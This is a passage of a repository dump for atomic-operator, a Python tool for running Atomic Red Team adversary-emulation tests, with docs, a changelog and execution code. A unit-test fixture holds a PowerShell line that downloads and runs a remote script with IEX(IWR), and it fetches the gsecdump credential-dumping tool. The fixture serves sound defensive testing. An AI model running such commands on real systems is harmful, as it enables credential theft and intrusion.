specific tests then you must provide them as a list as input. 18 | 19 | > Please note that techniques passed in but be separated by a `,` and __NO__ spaces. 20 | 21 | ```python 22 | from atomic_operator import AtomicOperator 23 | 24 | art = AtomicOperator() 25 | 26 | print(art.run( 27 | techniques='T1560.002', 'T1560.001'], atomics_path='my_local_folder/atomic-red-team' 28 | )) 29 | ``` 30 | 31 | ## Checking Dependencies 32 | 33 | There is an optional paramater that determines if `atomic-operator` should check dependencies or not. By default we do not check dependenicies but if set to `True` we will. 34 | 35 | ```python 36 | art.run( 37 | atomics_path='my_local_folder/atomic-red-team', 38 | check_dependencies=True 39 | ) 40 | ``` 41 | 42 | `check_dependencies` means we will run any defined `prereq_command` defined within the Atomic test. 43 | 44 | ## Get Prerequisities 45 | 46 | Another optional paramater deteremines if we retrieve or run any `get_prereq_command` values defined within the Atomic test. 47 | 48 | ```python 49 | art.run( 50 | atomics_path='my_local_folder/atomic-red-team', 51 | check_dependencies=True, 52 | get_prereq_command=True, 53 | ) 54 | ``` 55 | 56 | Setting this value to `True` means we will run that command but __only__ if `check_dependencies` is set to `True` as well. 57 | 58 | ## Cleanup 59 | 60 | This optional parameter is by default set to `False` but if set to `True` then we will run any `cleanup_command` values defined within an Atomic test. 61 | 62 | ```python 63 | art.run( 64 | atomics_path='my_local_folder/atomic-red-team', 65 | cleanup=True 66 | ) 67 | ``` 68 | 69 | ## Command Timeout 70 | 71 | The `command_timeout` parameter tells `atomic-operator` the duration (in seconds) to run a command without exiting that process. 72 | 73 | ```python 74 | art.run( 75 | atomics_path='my_local_folder/atomic-red-team', 76 | command_timeout=40 77 | ) 78 | ``` 79 | 80 | This defaults to `20` seconds but you can specify another value if needed. 81 | 82 | ## Debug 83 | 84 | The `debug` parameter will show additional details about the Atomic and tests (e.g. descriptions, etc.). 85 | 86 | ```python 87 | art.run( 88 | atomics_path='my_local_folder/atomic-red-team', 89 | debug=True 90 | ) 91 | ``` 92 | 93 | The default value is `False` and must be set to `True` to show this extra detail. 94 | 95 | ## Interactive Argument Inputs 96 | 97 | The `prompt_for_input_args` parameter will enable an interactive session and prompt you to enter arguments for any Atomic test(s) that require input arguments. You can simply provide a value or select to use the `default` defined within the Atomic test. 98 | 99 | ```python 100 | art.run( 101 | atomics_path='my_local_folder/atomic-red-team', 102 | prompt_for_input_args=True 103 | ) 104 | ``` 105 | 106 | The default value is `False` and must be set to `True` to prompt you for input values. 107 | 108 | ## kwargs 109 | 110 | If you choose __not__ to set `prompt_for_input_args` to `True` then you can provide a dictionary of arguments in the `kwargs` input. This dictionary is only used for setting input argument values. 111 | 112 | For example, if you were running the Atomic test [T1564.001](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564.001/T1564.001.yaml) then would pass in a dictionary into the kwargs argument. 113 | 114 | If you do not want `atomic-operator` to prompt you for inputs you can simply run the following on the command line: 115 | 116 | ```python 117 | inputs = { 118 | 'filename': 'myscript.py' 119 | } 120 | 121 | art.run( 122 | atomics_path='my_local_folder/atomic-red-team', 123 | prompt_for_input_args=False, 124 | **inputs 125 | ) 126 | ``` 127 | -------------------------------------------------------------------------------- /tests/test_atomic_operator_base.py: -------------------------------------------------------------------------------- 1 | import os 2 | from atomic_operator import AtomicOperator 3 | from atomic_operator.base import Base 4 | from atomic_operator.atomic.atomictest import AtomicTest, AtomicTestInput 5 | from atomic_operator.models import Config 6 | 7 | def test_get_abs_path(): 8 | assert Base().get_abs_path('./data/test_atomic2.yml') 9 | 10 | def test_parse_input_lists(): 11 | assert isinstance(Base().parse_input_lists('test,test,test'), list) 12 | 13 | def test_replace_command_string(): 14 | command = r'''[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 15 | $parentpath = Split-Path "#{gsecdump_exe}"; $binpath = "$parentpath\gsecdump-v2b5.exe" 16 | IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1") 17 | if(Invoke-WebRequestVerifyHash "#{gsecdump_url}" "$binpath" #{gsecdump_bin_hash}){ 18 | Move-Item $binpath "#{gsecdump_exe}" 19 | }''' 20 | test_inputs_list = [] 21 | test_inputs_list.append( 22 | AtomicTestInput( 23 | name="gsecdump_exe", 24 | description="Path to the Gsecdump executable", 25 | type="Path", 26 | default="PathToAtomicsFolder\\T1003\\bin\\gsecdump.exe", 27 | value="PathToAtomicsFolder\\path\\to\\gsecdump.exe" 28 | ) 29 | ) 30 | test_inputs_list.append( 31 | AtomicTestInput( 32 | name="gsecdump_url", 33 | description="Path to download Gsecdump binary file", 34 | type="Url", 35 | default="https://web.archive.org/web/20150606043951if_/http://www.truesec.se/Upload/Sakerhet/Tools/gsecdump-v2b5.exe" 36 | )) 37 | for input in test_inputs_list: 38 | if input.value == None: 39 | input.value = input.default 40 | new_command = Base()._replace_command_string(command, '\\temp', input_arguments=test_inputs_list) 41 | assert new_command == r'''[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 42 | $parentpath = Split-Path "\temp\path\to\gsecdump.exe"; $binpath = "$parentpath\gsecdump-v2b5.exe" 43 | IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1") 44 | if(Invoke-WebRequestVerifyHash "https://web.archive.org/web/20150606043951if_/http://www.truesec.se/Upload/Sakerhet/Tools/gsecdump-v2b5.exe" "$binpath" #{gsecdump_bin_hash}){ 45 | Move-Item $binpath "\temp\path\to\gsecdump.exe" 46 | }''' 47 | 48 | def test_setting_input_arguments(): 49 | Base.CONFIG = Config( 50 | atomics_path=AtomicOperator().get_atomics(), 51 | prompt_for_input_args = False 52 | ) 53 | test_inputs_list = [] 54 | test_inputs_list.append( 55 | AtomicTestInput( 56 | name="gsecdump_exe", 57 | description="Path to the Gsecdump executable", 58 | type="Path", 59 | default="PathToAtomicsFolder\\T1003\\bin\\gsecdump.exe" 60 | ) 61 | ) 62 | test_input_dict = { 63 | 'gsecdump_url': { 64 | 'description': "Path to download Gsecdump binary file", 65 | 'type':"Url", 66 | 'default': "https://web.archive.org/web/20150606043951if_/http://www.truesec.se/Upload/Sakerhet/Tools/gsecdump-v2b5.exe" 67 | }, 68 | 'gsecdump_exe': { 69 | 'description': "Path to the Gsecdump executable", 70 | 'type':"Path", 71 | 'default': "PathToAtomicsFolder\\T1003\\bin\\gsecdump.exe" 72 | } 73 | } 74 | 75 | kwargs = { 76 | 'gsecdump_exe': '\\some\\test\\location', 77 | 'gsecdump_url': 'google.com' 78 | } 79 | atomic_test = AtomicTest( 80 | name='test', 81 | description='test', 82 | supported_platforms=['linux'], 83 | auto_generated_guid='96345bfc-8ae7-4b6a-80b7-223200f24ef9', 84 | executor={ 85 | 'command': '''#{gsecdump_exe} -a''', 86 | 'name': 'command_prompt', 87 | 'elevation_required' : True 88 | }, 89 | input_arguments=test_input_dict 90 | ) 91 | Base()._set_input_arguments(atomic_test, **kwargs) 92 | for input in atomic_test.input_arguments: 93 | if kwargs.get(input.name): 94 | assert kwargs[input.name] == input.value 95 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing 2 | 3 | When contributing to this repository, please first discuss the change you wish to make via issue, 4 | email, or any other method with the owners of this repository before making a change. 5 | 6 | Please note we have a code of conduct, please follow it in all your interactions with the project. 7 | 8 | ## Pull Request Process 9 | 10 | 1. Ensure any install or build dependencies are removed before the end of the layer when doing a 11 | build. 12 | 2. Update the README.md with details of changes to the interface, this includes new environment 13 | variables, exposed ports, useful file locations and container parameters. 14 | 3. Increase the version numbers in any examples files and the README.md to the new version that this 15 | Pull Request would represent. The versioning scheme we use is [SemVer](http://semver.org/). 16 | 4. You may merge the Pull Request in once you have the sign-off of two other developers, or if you 17 | do not have permission to do that, you may request the second reviewer to merge it for you. 18 | 19 | ## Code of Conduct 20 | 21 | ### Our Pledge 22 | 23 | In the interest of fostering an open and welcoming environment, we as 24 | contributors and maintainers pledge to making participation in our project and 25 | our community a harassment-free experience for everyone, regardless of age, body 26 | size, disability, ethnicity, gender identity and expression, level of experience, 27 | nationality, personal appearance, race, religion, or sexual identity and 28 | orientation. 29 | 30 | ### Our Standards 31 | 32 | Examples of behavior that contributes to creating a positive environment 33 | include: 34 | 35 | * Using welcoming and inclusive language 36 | * Being respectful of differing viewpoints and experiences 37 | * Gracefully accepting constructive criticism 38 | * Focusing on what is best for the community 39 | * Showing empathy towards other community members 40 | 41 | Examples of unacceptable behavior by participants include: 42 | 43 | * The use of sexualized language or imagery and unwelcome sexual attention or 44 | advances 45 | * Trolling, insulting/derogatory comments, and personal or political attacks 46 | * Public or private harassment 47 | * Publishing others' private information, such as a physical or electronic 48 | address, without explicit permission 49 | * Other conduct which could reasonably be considered inappropriate in a 50 | professional setting 51 | 52 | ### Our Responsibilities 53 | 54 | Project maintainers are responsible for clarifying the standards of acceptable 55 | behavior and are expected to take appropriate and fair corrective action in 56 | response to any instances of unacceptable behavior. 57 | 58 | Project maintainers have the right and responsibility to remove, edit, or 59 | reject comments, commits, code, wiki edits, issues, and other contributions 60 | that are not aligned to this Code of Conduct, or to ban temporarily or 61 | permanently any contributor for other behaviors that they deem inappropriate, 62 | threatening, offensive, or harmful. 63 | 64 | ### Scope 65 | 66 | This Code of Conduct applies both within project spaces and in public spaces 67 | when an individual is representing the project or its community. Examples of 68 | representing a project or community include using an official project e-mail 69 | address, posting via an official social media account, or acting as an appointed 70 | representative at an online or offline event. Representation of a project may be 71 | further defined and clarified by project maintainers. 72 | 73 | ### Enforcement 74 | 75 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 76 | reported by contacting the project team at [INSERT EMAIL ADDRESS]. All 77 | complaints will be reviewed and investigated and will result in a response that 78 | is deemed necessary and appropriate to the circumstances. The project team is 79 | obligated to maintain confidentiality with regard to the reporter of an incident. 80 | Further details of specific enforcement policies may be posted separately. 81 | 82 | Project maintainers who do not follow or enforce the Code of Conduct in good 83 | faith may face temporary or permanent repercussions as determined by other 84 | members of the project's leadership. 85 | 86 | ### Attribution 87 | 88 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, 89 | available at [http://contributor-covenant.org/version/1/4][version] 90 | 91 | [homepage]: http://contributor-covenant.org 92 | [version]: http://contributor-covenant.org/version/1/4/ -------------------------------------------------------------------------------- /docs/CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing 2 | 3 | When contributing to this repository, please first discuss the change you wish to make via issue, 4 | email, or any other method with the owners of this repository before making a change. 5 | 6 | Please note we have a code of conduct, please follow it in all your interactions with the project. 7 | 8 | ## Pull Request Process 9 | 10 | 1. Ensure any install or build dependencies are removed before the end of the layer when doing a 11 | build. 12 | 2. Update the README.md with details of changes to the interface, this includes new environment 13 | variables, exposed ports, useful file locations and container parameters. 14 | 3. Increase the version numbers in any examples files and the README.md to the new version that this 15 | Pull Request would represent. The versioning scheme we use is [SemVer](http://semver.org/). 16 | 4. You may merge the Pull Request in once you have the sign-off of two other developers, or if you 17 | do not have permission to do that, you may request the second reviewer to merge it for you. 18 | 19 | ## Code of Conduct 20 | 21 | ### Our Pledge 22 | 23 | In the interest of fostering an open and welcoming environment, we as 24 | contributors and maintainers pledge to making participation in our project and 25 | our community a harassment-free experience for everyone, regardless of age, body 26 | size, disability, ethnicity, gender identity and expression, level of experience, 27 | nationality, personal appearance, race, religion, or sexual identity and 28 | orientation. 29 | 30 | ### Our Standards 31 | 32 | Examples of behavior that contributes to creating a positive environment 33 | include: 34 | 35 | * Using welcoming and inclusive language 36 | * Being respectful of differing viewpoints and experiences 37 | * Gracefully accepting constructive criticism 38 | * Focusing on what is best for the community 39 | * Showing empathy towards other community members 40 | 41 | Examples of unacceptable behavior by participants include: 42 | 43 | * The use of sexualized language or imagery and unwelcome sexual attention or 44 | advances 45 | * Trolling, insulting/derogatory comments, and personal or political attacks 46 | * Public or private harassment 47 | * Publishing others' private information, such as a physical or electronic 48 | address, without explicit permission 49 | * Other conduct which could reasonably be considered inappropriate in a 50 | professional setting 51 | 52 | ### Our Responsibilities 53 | 54 | Project maintainers are responsible for clarifying the standards of acceptable 55 | behavior and are expected to take appropriate and fair corrective action in 56 | response to any instances of unacceptable behavior. 57 | 58 | Project maintainers have the right and responsibility to remove, edit, or 59 | reject comments, commits, code, wiki edits, issues, and other contributions 60 | that are not aligned to this Code of Conduct, or to ban temporarily or 61 | permanently any contributor for other behaviors that they deem inappropriate, 62 | threatening, offensive, or harmful. 63 | 64 | ### Scope 65 | 66 | This Code of Conduct applies both within project spaces and in public spaces 67 | when an individual is representing the project or its community. Examples of 68 | representing a project or community include using an official project e-mail 69 | address, posting via an official social media account, or acting as an appointed 70 | representative at an online or offline event. Representation of a project may be 71 | further defined and clarified by project maintainers. 72 | 73 | ### Enforcement 74 | 75 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 76 | reported by contacting the project team at [INSERT EMAIL ADDRESS]. All 77 | complaints will be reviewed and investigated and will result in a response that 78 | is deemed necessary and appropriate to the circumstances. The project team is 79 | obligated to maintain confidentiality with regard to the reporter of an incident. 80 | Further details of specific enforcement policies may be posted separately. 81 | 82 | Project maintainers who do not follow or enforce the Code of Conduct in good 83 | faith may face temporary or permanent repercussions as determined by other 84 | members of the project's leadership. 85 | 86 | ### Attribution 87 | 88 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, 89 | available at [http://contributor-covenant.org/version/1/4][version] 90 | 91 | [homepage]: http://contributor-covenant.org 92 | [version]: http://contributor-covenant.org/version/1/4/ -------------------------------------------------------------------------------- /atomic_operator/execution/copier.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | from ..base import Base 4 | 5 | 6 | class Copier(Base): 7 | def __init__(self, windows_client=None, ssh_client=None, elevation_required=False): 8 | self.windows_client = windows_client 9 | self.ssh_client = ssh_client 10 | self.elevation_required = elevation_required 11 | 12 | def join_path_regardless_of_separators(self, *paths): 13 | return os.path.sep.join(path.rstrip(r"\/") for path in paths) 14 | 15 | def __set_input_argument_values(self, input_arguments): 16 | for argument in input_arguments: 17 | argument.source = self._path_replacement(argument.default, Base.CONFIG.atomics_path) 18 | if self.ssh_client: 19 | argument.destination = self._path_replacement(argument.default, "/tmp") 20 | elif self.windows_client: 21 | argument.destination = self._path_replacement(argument.default, "c:\\temp") 22 | 23 | def __copy_file_to_windows(self, source, desintation): 24 | try: 25 | command = f"New-Item -Path {os.path.dirname(desintation)} -ItemType Directory" 26 | if self.elevation_required: 27 | command = f"Start-Process PowerShell -Verb RunAs; {command}" 28 | output, streams, had_errors = self.windows_client.execute_ps(command) 29 | response = self.windows_client.copy(source, desintation) 30 | except: 31 | self.__logger.warning(f"Unable to execute copy of supporting file {source}") 32 | self.__logger.warning(f"Output: {output}/nStreams: {streams}/nHad Errors: {had_errors}") 33 | 34 | def __copy_file_to_nix(self, source, destination): 35 | file = destination.rsplit("/", 1) 36 | try: 37 | command = "sh -c '" + f'file="{destination}"' + ' && mkdir -p "${file%/*}" && cat > "${file}"' + "'" 38 | if self.elevation_required: 39 | command = f"sudo {command}" 40 | ssh_stdin, ssh_stdout, ssh_stderr = self.ssh_client.exec_command(command) 41 | ssh_stdin.write(open(f"{source}", "r").read()) 42 | except: 43 | self.__logger.warning(f"Unable to execute copy of supporting file {file[-1]}") 44 | self.__logger.warning(f"STDIN: {ssh_stdin}/nSTDOUT: {ssh_stdout}/nSTDERR: {ssh_stderr}") 45 | 46 | def copy_file(self, source, destination): 47 | if self.ssh_client: 48 | self.__copy_file_to_nix(source=source, destination=destination) 49 | elif self.windows_client: 50 | self.__copy_file_to_windows(source=source, destination=destination) 51 | 52 | def copy_directory_of_files(self, source, destination): 53 | return_list = [] 54 | for dirpath, dirnames, files in os.walk(source): 55 | if files: 56 | for file in files: 57 | if file.endswith(".yaml") or file.endswith(".md"): 58 | continue 59 | path_list = [destination] 60 | for item in file.split(source)[-1].split("/"): 61 | if item: 62 | path_list.append(item) 63 | destination_path = self.join_path_regardless_of_separators(*path_list) 64 | full_path = self.join_path_regardless_of_separators(*[dirpath, file]) # f"{dirpath}/{file}" 65 | 66 | if self.ssh_client: 67 | self.__copy_file_to_nix(full_path, destination_path) 68 | elif self.windows_client: 69 | self.__copy_file_to_windows(full_path, destination_path) 70 | return_list.append(full_path) 71 | return return_list 72 | 73 | def copy(self, input_arguments): 74 | if input_arguments: 75 | self.__set_input_argument_values(input_arguments) 76 | for argument in input_arguments: 77 | if argument.source and argument.destination: 78 | if os.path.exists(argument.source): 79 | if os.path.isdir(argument.source): 80 | file_list = self.copy_directory_of_files(argument.source, argument.destination) 81 | argument.value = argument.destination 82 | else: 83 | self.copy_file(argument.source, argument.destination) 84 | argument.value = self._replace_command_string( 85 | argument.default, path="/tmp", input_arguments=input_arguments 86 | ) 87 | else: 88 | argument.value = self._replace_command_string( 89 | argument.default, path="/tmp", input_arguments=input_arguments 90 | ) 91 | else: 92 | argument.value = self._replace_command_string( 93 | argument.default, path="/tmp", input_arguments=input_arguments 94 | ) 95 | return True 96 | -------------------------------------------------------------------------------- /docs/running-tests-command-line.md: -------------------------------------------------------------------------------- 1 | # Running Atomic Tests 2 | 3 | In order to run tests using `atomic-operator` you must have one or more [atomic tests](atomics.md). 4 | 5 | ## Selecting Tests to Run 6 | 7 | By default, `atomic-operator` will run all known tests within the provided directory. 8 | 9 | If you would like to specify specific tests then you must provide them as a list as input. 10 | 11 | > Please note that techniques passed in but be separated by a `,` and __NO__ spaces. 12 | 13 | ```bash 14 | atomic-operator run --atomics-path "~/_Swimlane/atomic-red-team" --techniques T1560.002,T1560.001 15 | ``` 16 | 17 | ## Selecting Individual Atomic Tests 18 | 19 | You can select individual tests when you provide one or more specific techniques. For example running the following on the command line: 20 | 21 | ```bash 22 | atomic-operator run --techniques T1564.001 --select_tests 23 | ``` 24 | 25 | Will prompt the user with a selection list of tests associated with that technique. A user can select one or more tests by using the space bar to highlight the desired test: 26 | 27 | ```text 28 | Select Test(s) for Technique T1564.001 (Hide Artifacts: Hidden Files and Directories) 29 | 30 | * Create a hidden file in a hidden directory (61a782e5-9a19-40b5-8ba4-69a4b9f3d7be) 31 | Mac Hidden file (cddb9098-3b47-4e01-9d3b-6f5f323288a9) 32 | Create Windows System File with Attrib (f70974c8-c094-4574-b542-2c545af95a32) 33 | Create Windows Hidden File with Attrib (dadb792e-4358-4d8d-9207-b771faa0daa5) 34 | Hidden files (3b7015f2-3144-4205-b799-b05580621379) 35 | Hide a Directory (b115ecaf-3b24-4ed2-aefe-2fcb9db913d3) 36 | Show all hidden files (9a1ec7da-b892-449f-ad68-67066d04380c) 37 | ``` 38 | 39 | ## Checking Dependencies 40 | 41 | There is an optional paramater that determines if `atomic-operator` should check dependencies or not. By default we do not check dependenicies but if set to `True` we will. 42 | 43 | ```bash 44 | atomic-operator run --atomics-path "~/_Swimlane/atomic-red-team" --techniques T1560.002,T1560.001 --check_dependicies True 45 | ``` 46 | 47 | Checking of dependencies means we will run any defined `prereq_command` defined within the Atomic test. 48 | 49 | ## Get Prerequisities 50 | 51 | Another optional paramater deteremines if we retrieve or run any `get_prereq_command` values defined within the Atomic test. 52 | 53 | ```bash 54 | atomic-operator run --atomics-path "~/_Swimlane/atomic-red-team" --techniques T1560.002,T1560.001 --check_dependencies True --get_prereq_command True 55 | ``` 56 | 57 | Setting this value to `True` means we will run that command but __only__ if `check_dependencies` is set to `True` as well. 58 | 59 | ## Cleanup 60 | 61 | This optional parameter is by default set to `False` but if set to `True` then we will run any `cleanup_command` values defined within an Atomic test. 62 | 63 | ```bash 64 | atomic-operator run --atomics-path "~/_Swimlane/ atomic-red-team" --techniques T1560.002,T1560.001 --cleanup True 65 | ``` 66 | 67 | ## Command Timeout 68 | 69 | The `command_timeout` parameter tells `atomic-operator` the duration (in seconds) to run a command without exiting that process. 70 | 71 | ```bash 72 | atomic-operator run --atomics-path "~/_Swimlane/atomic-red-team" --techniques T1560.002,T1560.001 --command_timeout 40 73 | ``` 74 | 75 | This defaults to `20` seconds but you can specify another value if needed. 76 | 77 | ## Debug 78 | 79 | The `debug` parameter will show additional details about the Atomic and tests (e.g. descriptions, etc.). 80 | 81 | ```bash 82 | atomic-operator run --atomics-path "~/_Swimlane/atomic-red-team" --techniques T1560.002,T1560.001 --debug 83 | ``` 84 | 85 | The default value is `False` and must be set to `True` to show this extra detail. 86 | 87 | ## Interactive Argument Inputs 88 | 89 | The `prompt_for_input_args` parameter will enable an interactive session and prompt you to enter arguments for any Atomic test(s) that require input arguments. You can simply provide a value or select to use the `default` defined within the Atomic test. 90 | 91 | ```bash 92 | atomic-operator run --atomics-path "~/_Swimlane/atomic-red-team" --techniques T1560.002,T1560.001 --prompt_for_input_args True 93 | ``` 94 | 95 | The default value is `False` and must be set to `True` to prompt you for input values. 96 | 97 | ## kwargs 98 | 99 | If you choose __not__ to set `prompt_for_input_args` to `True` then you can provide a dictionary of arguments in the `kwargs` input. This dictionary is only used for setting input argument values. 100 | 101 | For example, if you were running the Atomic test [T1564.001](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564.001/T1564.001.yaml) then would pass in a dictionary into the kwargs argument. 102 | 103 | ### Additional Input Arguments from Command Line 104 | 105 | If you do not want `atomic-operator` to prompt you for inputs you can simply run the following on the command line: 106 | 107 | ```bash 108 | atomic-operator run --atomics-path "~/_Swimlane/atomic-red-team" --techniques T1564.001 --kwargs '{"filename": "myscript.py"}' 109 | ``` 110 | 111 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # CHANGELOG 2 | 3 | ## [0.9.1](https://github.com/swimlane/atomic-operator/compare/0.9.0...v0.9.1) (2023-12-24) 4 | 5 | 6 | ### Bug Fixes 7 | 8 | * Adding pretty run output ([67bf78a](https://github.com/swimlane/atomic-operator/commit/67bf78a8a9d075783a953142549051cbd13cce29)) 9 | * Removing old python setup files and updating ci ([efdad4e](https://github.com/swimlane/atomic-operator/commit/efdad4ef787b7f0178b7f310c2c1cbb53d3bd444)) 10 | * removing setting in ci ([892079c](https://github.com/swimlane/atomic-operator/commit/892079c3b651f3567f2597cd2213ebc0514a80c2)) 11 | * Updated docs ([22c76da](https://github.com/swimlane/atomic-operator/commit/22c76dab4075aebe8708f7dd57af689144bb1ffe)) 12 | * Updatind dependencies ([256633b](https://github.com/swimlane/atomic-operator/commit/256633baba2a52ed8141562020aaf72162c16f06)) 13 | 14 | ## [0.9.0](https://github.com/swimlane/atomic-operator/compare/0.8.5...0.9.0) (2023-03-06) 15 | 16 | 17 | ### ⚠ BREAKING CHANGES 18 | 19 | * Adding support for atomic-operator-runner to separate responsibilities from this package to the executioner in the runner package. 20 | * Adding poetry support for the entire project going forward. This may be a BREAKING CHANGE! 21 | 22 | ### Features 23 | 24 | * Added new parameter to accept input_arguments from command line and config file ([831d9cb](https://github.com/swimlane/atomic-operator/commit/831d9cb179c335261c8c900a95f6a45a14595e40)) 25 | * Adding poetry support for the entire project going forward. This may be a BREAKING CHANGE! ([cbfce67](https://github.com/swimlane/atomic-operator/commit/cbfce678f488c52844ebf4d5798267186c008ae8)) 26 | * Adding support for atomic-operator-runner to separate responsibilities from this package to the executioner in the runner package. ([c9484e4](https://github.com/swimlane/atomic-operator/commit/c9484e492f2254b065f7a6d6912340451a2d90e7)) 27 | * Adding the ability to search all atomics based on a keyword or string. Fixes [#59](https://github.com/swimlane/atomic-operator/issues/59) ([aad5165](https://github.com/swimlane/atomic-operator/commit/aad5165db5370f8f34310c2514f9e9fe400933e3)) 28 | 29 | 30 | ### Bug Fixes 31 | 32 | * Fixing variable replacement for powershell commands instead of command_prompt. Fixed [#58](https://github.com/swimlane/atomic-operator/issues/58) ([c4dbb69](https://github.com/swimlane/atomic-operator/commit/c4dbb69b5fb7bbdfd47ddf96a1036648f2c4ba1e)) 33 | * Resolving issues with passing multiple test_guids and creating the appropriate run list. Fixes [#57](https://github.com/swimlane/atomic-operator/issues/57) ([d669086](https://github.com/swimlane/atomic-operator/commit/d669086482e66d1b6943d4b8d413c0325913f2b7)) 34 | * Update imports ([a5dd297](https://github.com/swimlane/atomic-operator/commit/a5dd297c106e9cf699d8dcff4d21223cdf41d6e2)) 35 | * Updated tests to match new schema ([0c7767a](https://github.com/swimlane/atomic-operator/commit/0c7767aea1e12ca14df01f404c8d8c894a8b0990)) 36 | * Updating meta and moved attributes to init in package root ([df2d93d](https://github.com/swimlane/atomic-operator/commit/df2d93d7321b5abd6496fb4e443586b85263b698)) 37 | 38 | 39 | ### Documentation 40 | 41 | * Update README ([c6e89d0](https://github.com/swimlane/atomic-operator/commit/c6e89d0bac7a3c84a080d73f4296ece48f33c102)) 42 | * Updated README ([0eff976](https://github.com/swimlane/atomic-operator/commit/0eff9763b3fde9ebe27f3436f3806e87d24b254d)) 43 | 44 | ## 0.8.4 - 2022-03-25 45 | 46 | * Updated formatting of executor for AWS and local runners 47 | * Updated documentation 48 | * Added formatting constants to base class to improve updating of windows variables on command line runners 49 | 50 | ## 0.7.0 - 2022-01-04 51 | 52 | * Updated argument handling in get_atomics Retrieving Atomic Tests with specified destination in /opt throws unexpected keyword argument error #28 53 | * Updated error catching and logging within state machine class when copying source files to remote system Logging and troubleshooting question #32 54 | * Updated ConfigParser from instance variables to local method bound variables Using a second AtomicOperator instance executes the tests of the first instance too #33 55 | * Added the ability to select specific tests for one or more provided techniques 56 | * Updated documentation 57 | * Added new Copier class to handle file transfer for remote connections 58 | * Removed gathering of supporting_files and passing around with object 59 | * Added new config_file_only parameter to only run the defined configuration within a configuration file 60 | * Updated documentation around installation on macOS systems with M1 processors 61 | 62 | ## 0.6.0 - 2021-12-17 63 | 64 | * Updated documentation 65 | * Added better handling of help 66 | 67 | ## 0.5.1 - 2021-11-18 68 | 69 | * Updating handling of passing --help to the run command 70 | * Updated docs to reflect change 71 | 72 | ## 0.5.0 - 2021-11-18 73 | 74 | * Updated handling of versioning 75 | * Updated CI to handle versioning of docs and deployment on release 76 | * Added better handling of extracting zip file 77 | * Added safer loading of yaml files 78 | * Update docs 79 | * Improved logging across the board and implemented a debug switch 80 | 81 | ## 0.4.0 - 2021-11-15 82 | 83 | * Added support for transferring files during remote execution 84 | * Refactored config handling 85 | * Updated docs and githubpages 86 | 87 | ## 0.2.0 - 2021-10-05 88 | 89 | * Added support for remote execution of atomic-tests 90 | * Added support for executing iaas:aws tests 91 | * Added configuration support 92 | * Plus many other features 93 | 94 | ## 0.0.1 - 2021-07-26 95 | 96 | * Initial release 97 | -------------------------------------------------------------------------------- /atomic_operator/execution/runner.py: -------------------------------------------------------------------------------- 1 | import abc 2 | import re 3 | 4 | from ..base import Base 5 | 6 | 7 | class Runner(Base): 8 | def clean_output(self, data): 9 | """Decodes data and strips CLI garbage from returned outputs and errors 10 | 11 | Args: 12 | data (str): A output or error returned from subprocess 13 | 14 | Returns: 15 | str: A cleaned string which will be displayed on the console and in logs 16 | """ 17 | if data: 18 | # Remove Windows CLI garbage 19 | data = re.sub( 20 | r"Microsoft\ Windows\ \[version .+\]\r?\nCopyright.*(\r?\n)+[A-Z]\:.+?\>", 21 | "", 22 | data.decode("utf-8", "ignore"), 23 | ) 24 | # formats strings with newline and return characters 25 | return re.sub(r"(\r?\n)*[A-Z]\:.+?\>", "", data) 26 | 27 | def print_process_output(self, command, return_code, output, errors): 28 | """Outputs the appropriate outputs if they exists to the console and log files 29 | 30 | Args: 31 | command (str): The command which was ran by subprocess 32 | return_code (int): The return code from subprocess 33 | output (bytes): Output from subprocess which is typically in bytes 34 | errors (bytes): Errors from subprocess which is typically in bytes 35 | """ 36 | return_dict = {} 37 | if return_code == 127: 38 | return_dict[ 39 | "error" 40 | ] = f"\n\nCommand Not Found: {command} returned exit code {return_code}: \nErrors: {self.clean_output(errors)}/nOutput: {output}" 41 | self.__logger.warning(return_dict["error"]) 42 | return return_dict 43 | if output or errors: 44 | if output: 45 | return_dict["output"] = self.clean_output(output) 46 | self.__logger.info("\n\nOutput: {}".format(return_dict["output"])) 47 | else: 48 | return_dict[ 49 | "error" 50 | ] = f"\n\nCommand: {command} returned exit code {return_code}: \n{self.clean_output(errors)}" 51 | self.__logger.warning(return_dict["error"]) 52 | else: 53 | self.__logger.info("(No output)") 54 | return return_dict 55 | 56 | def _run_dependencies(self, host=None, executor=None): 57 | """Checking dependencies""" 58 | return_dict = {} 59 | if self.test.dependency_executor_name: 60 | executor = self.test.dependency_executor_name 61 | for dependency in self.test.dependencies: 62 | self.__logger.debug(f"Dependency description: {dependency.description}") 63 | if Base.CONFIG.check_prereqs and dependency.prereq_command: 64 | self.__logger.debug("Running prerequisite command") 65 | response = self.execute_process(command=dependency.prereq_command, executor=executor, host=host) 66 | for key, val in response.items(): 67 | if key not in return_dict: 68 | return_dict[key] = {} 69 | return_dict[key].update({"prereq_command": val}) 70 | if return_dict.get("error"): 71 | return return_dict 72 | if Base.CONFIG.get_prereqs and dependency.get_prereq_command: 73 | self.__logger.debug(f"Retrieving prerequistes") 74 | get_prereq_response = self.execute_process( 75 | command=dependency.get_prereq_command, executor=executor, host=host 76 | ) 77 | for key, val in get_prereq_response.items(): 78 | if key not in return_dict: 79 | return_dict[key] = {} 80 | return_dict[key].update({"get_prereqs": val}) 81 | return return_dict 82 | 83 | def execute(self, host_name="localhost", executor=None, host=None): 84 | """The main method which runs a single AtomicTest object on a local system.""" 85 | return_dict = {} 86 | self.__logger.debug(f"Using {executor} as executor.") 87 | if executor: 88 | if not Base.CONFIG.check_prereqs and not Base.CONFIG.get_prereqs and not Base.CONFIG.cleanup: 89 | self.__logger.debug("Running command") 90 | response = self.execute_process( 91 | command=self.test.executor.command, 92 | executor=executor, 93 | host=host, 94 | 